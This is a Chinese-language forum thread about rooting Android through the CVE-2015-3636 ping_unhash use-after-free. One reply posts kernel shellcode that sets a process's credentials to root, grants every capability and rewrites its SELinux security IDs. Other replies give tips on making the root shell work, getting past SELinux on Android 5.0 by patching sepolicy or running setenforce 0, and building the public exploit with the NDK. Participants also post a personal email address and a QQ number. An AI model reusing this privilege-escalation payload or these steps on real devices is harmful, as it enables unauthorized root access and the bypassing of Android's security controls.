用的是哪个漏洞

20153636

/system/bin/sh 所有用户都会有执行权限.

是啊，在漏洞触发之前调用都没有问题。漏洞触发后，使用execl运行/system/bin/sh，就会返回值-1，此时errno=13

楼主，可否一起探讨这个漏洞^=^,geneblue.mail@gmail.com

这是因为的你shellcode 写的有问题。。不光是要修改GID UID等值，，有一个结构体*security; 的指针 也必须要设置。。否则将出现无权限的情况，，我把代码贴给你。。直接改下就OK
        struct task_security_struct *security;
        if (cred != NULL) {
                cred->uid = 0;
                cred->gid = 0;
                cred->suid = 0;
                cred->sgid = 0;
                cred->euid = 0;
                cred->egid = 0;
                cred->fsuid = 0;
                cred->fsgid = 0;

                cred->cap_inheritable.cap[0] = 0xffffffff;
                cred->cap_inheritable.cap[1] = 0xffffffff;
                cred->cap_permitted.cap[0] = 0xffffffff;
                cred->cap_permitted.cap[1] = 0xffffffff;
                cred->cap_effective.cap[0] = 0xffffffff;
                cred->cap_effective.cap[1] = 0xffffffff;
                cred->cap_bset.cap[0] = 0xffffffff;
                cred->cap_bset.cap[1] = 0xffffffff;

                security = cred->security;
                if (security) {
                        if (security->osid != 0
                                && security->sid != 0
                                && security->exec_sid == 0
                                && security->create_sid == 0
                                && security->keycreate_sid == 0
                                && security->sockcreate_sid == 0) {
                                        security->osid = 1;
                                        security->sid = 1;
                                        g_test = 10;
                        }
                }

还有。一点 要注意。。就是你调用/system/bin/sh 的时候。。。你自己进程的父进程ID 必须为1（init进程）

非常非常感谢，我先试试

按照这种方法,4.3可以了。可是我把系统升级到5.0后，又开始报同样的错误啦

5.0 以后 可能是SELinux 导致的
可以尝试在install-recovery.sh 中启动daemon ，并为sepolicy打补丁；

详细做法可以参考 chainfire 的supersu

5.0SELINUX 的问题。。。如果你先有权限的情况下，，可以直接关闭掉SElinux

我是了setenforce 0，返回失败；是要用其它搜索内存地址的方法关闭吗？

请教下大神,你的20153636漏洞是如何应用的,我下载github上代码后只有.c 问Android.mk文件,由于对安卓开发真心不熟悉,请教下如何使用这个代码?我qq:1078285863   先感谢大哥了

2015-3636 ping_unhash漏洞 一个典型的UAF漏洞。。。指针引用 释放的问题。。。
git的代码 直接用 android ndk 编译。。。那份代码 在一部分机器上  是可以跑成功的。。。只是成功率 不太高

你是自己 研究的 还是在公司上班？  有兴趣 搞漏洞挖掘 和分析的话，，可以来我公司。。。

我目前自由职业，主要做手机数据恢复。对漏洞挖掘、分析感兴趣，就是这方面的基础不扎实

学习一下